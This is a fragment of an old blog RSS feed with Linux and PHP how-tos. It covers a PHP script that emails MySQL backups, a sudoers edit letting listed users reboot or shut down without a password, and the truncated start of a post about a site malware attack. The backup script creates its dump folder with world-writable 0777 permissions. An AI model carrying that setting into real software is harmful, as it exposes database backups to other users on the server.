&lt;/div&gt;&lt;div lang="en-US" style="color: white; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;1. BackUp folder Configuration&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;ARial&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;$backUpFolder = "backup";&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="color: white; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="color: white; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;Please change the folder; iff you need to change the backup directory. It is better to give complete path. The line just below it tries to make the directory if not exists and give global (0777) permission for access.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;2.  Database Configuration Details&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/div&gt;&lt;ol start="2"&gt;&lt;/ol&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;ARial&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;$server['host'] = "localhost";&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;ARial&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;$server['port'] = ""; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;ARial&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;$server['user'] = "root";&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;ARial&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;$server['pass'] = "pass";&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;ARial&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;$server['database'] = "test_db";&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;In this we need to give the details of the database: hostname, authenticated username,  its password and the name of database. Giving port number is not necessary, if you are not sure about leave that position blank; it will take the default port number[3306].&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;3. e-mail Configuration Details&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;ARial&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;$mailer["FromMail"] = "db_manager@yoursite.com";&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;ARial&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;$mailer["ToMail"] = "developer@yoursite.com";&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;ARial&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;$mailer["MailBody"] = "Message Body";&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;ARial&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;$mailer["DAS"] = false;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;Prerequisite for this facility is default php mail() support  for your server and supports sending generated emails [most of the sites are having these options]. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;FromMail, is the valid email address which comes in '&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;from header&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;'. ToMail is considering as the trigger for mailing function. If you are leave this blank, the function for sending e-mail will be disabled.  The MailBody contains the message that will be send along with the file as attachment.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;4. DAS – Delete After Send&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;ARial&amp;quot;, sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;$mailer["DAS"] = false;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style="font-weight: normal;"&gt;This is an important parameter, if you configured as true, it will delete the file from the backup folder [created in the server] after successfully send the mail which configured to. The default is false, a copy will remain in the backup folder.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;b&gt;&lt;span style="text-decoration: none;"&gt;EXTRA&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="text-decoration: none;"&gt;backup.php is the file that invokes the class and assign the variables, you can see generating a random name [on line # 38]. You can use any algorithm if you find it is not sufficient.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;span style="text-decoration: none;"&gt;Go through the class file mysql.class.inc. The functions having comments which helps you to modify and suited for you purpose. You can set a cronjob[scheduled Task] for send you the updated database backup on regular intervals. Enjoy.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="text-decoration: none;"&gt;“&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;i&gt;Comments and queries are always encouraging”.&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;, sans-serif;"&gt;&lt;b&gt;&lt;span style="text-decoration: none;"&gt;Download: &lt;a href="http://www.phpclasses.org/browse/package/5808/download/zip.html" name="http://www.phpclasses.org/browse/package/5808.html" target="_blank"&gt;myeskuel.zip&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-1956645723930090851?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/sjrz1kAb3QuKOvkinzY04dZc09I/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/sjrz1kAb3QuKOvkinzY04dZc09I/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/sjrz1kAb3QuKOvkinzY04dZc09I/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/sjrz1kAb3QuKOvkinzY04dZc09I/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/aeS0Motlvq4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/aeS0Motlvq4/auto-generated-mysql-backup-using-php.html</link><author>noreply@blogger.com (Anish)</author><thr:total>3</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/12/auto-generated-mysql-backup-using-php.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-5637029137115129659</guid><pubDate>Tue, 27 Oct 2009 06:23:00 +0000</pubDate><atom:updated>2009-12-03T18:23:33.297+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">sudo</category><category domain="http://www.blogger.com/atom/ns#">password</category><category domain="http://www.blogger.com/atom/ns#">linux commands</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><title>Privileged commands without sudo</title><description>&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;b&gt;Motive:&lt;/b&gt; Bring out some specific commands like shutdown, restart from sudo restriction.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;b&gt;Example:&lt;/b&gt; #&lt;i&gt;sudo reboot&lt;/i&gt; to #&lt;i&gt;reboot&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div lang="en-US" style="font-style: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;For changing this, we need to edit /etc/sudoers.tmp file for that we need to run the following command on the terminal[Applications-&amp;gt;Accessories-&amp;gt;&lt;b&gt;Terminal&lt;/b&gt;]. &lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-style: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#sudo visudo&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-style: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-style: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;A file will open in your default text editor [nano is my default]&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-style: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_K8Up6_JRdZk/SuaREYA5xUI/AAAAAAAAAzM/UKiX2r0uxhs/s1600-h/default.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_K8Up6_JRdZk/SuaREYA5xUI/AAAAAAAAAzM/UKiX2r0uxhs/s400/default.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-style: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Then add user list just after the line says: '# User alias specification', like this:&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;User_Alias USERS = thecoderin,ubutrix,user3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;And add those commands for avoid sudo prefix just after '# Cmnd alias specification', like this:&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Cmnd_Alias SHUTDOWN_CMDS = /sbin/shutdown, /sbin/reboot, /sbin/halt&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Then We need to give the permissions to the USERS to run SHUTDOWN_CMDS without sudo and passwords. Goto end after the %admin line put this line &lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;USERS ALL=(ALL) NOPASSWD: SHUTDOWN_CMDS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_K8Up6_JRdZk/SuaRiRcgSuI/AAAAAAAAAzU/feuvI7Ol5YE/s1600-h/final.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_K8Up6_JRdZk/SuaRiRcgSuI/AAAAAAAAAzU/feuvI7Ol5YE/s400/final.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;u&gt;&lt;b&gt;MORE DETAILS&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;MANual page for &lt;b&gt;visudo &lt;/b&gt;&lt;span style="font-weight: normal;"&gt;[&lt;/span&gt;&lt;a href="http://www.gratisoft.us/sudo/man/visudo.html" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;link&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-weight: normal;"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;MANual page for &lt;/span&gt;&lt;b&gt;sudoers&lt;/b&gt;&lt;span style="font-weight: normal;"&gt; [&lt;/span&gt;&lt;a href="http://www.gratisoft.us/sudo/man/sudoers.html" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;link&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-weight: normal;"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;nJoY!&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-5637029137115129659?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/fyocgIUHuAKVB_i_WP-nRpqiiFU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fyocgIUHuAKVB_i_WP-nRpqiiFU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/fyocgIUHuAKVB_i_WP-nRpqiiFU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fyocgIUHuAKVB_i_WP-nRpqiiFU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/-Q4gk_rMS20" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/-Q4gk_rMS20/privileged-commands-without-sudo.html</link><author>noreply@blogger.com (Anish)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_K8Up6_JRdZk/SuaREYA5xUI/AAAAAAAAAzM/UKiX2r0uxhs/s72-c/default.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/10/privileged-commands-without-sudo.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-8428478066199711620</guid><pubDate>Mon, 26 Oct 2009 10:28:00 +0000</pubDate><atom:updated>2009-10-27T11:56:18.964+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">malware attack</category><category domain="http://www.blogger.com/atom/ns#">php</category><category domain="http://www.blogger.com/atom/ns#">html</category><title>Site attacked by Malwares</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_K8Up6_JRdZk/SuV5cwWblVI/AAAAAAAAAzE/WDpnR2JXx2U/s1600-h/malware.png" imageanchor="1" 